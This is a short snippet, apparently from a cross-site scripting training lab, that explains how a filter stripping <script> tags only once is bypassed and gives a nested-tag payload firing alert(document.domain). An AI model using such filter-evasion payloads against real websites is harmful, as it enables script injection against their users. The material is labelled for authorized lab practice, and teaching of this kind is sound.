It strips <script> tags once and does not re-scan. Nest it: <scr<script>ipt>alert(document.domain)</scr<script>ipt>.
<script>
<scr<script>ipt>alert(document.domain)</scr<script>ipt>
RatXSS Dojo · HackXpert Coaching · The XSS Rat · authorized lab use only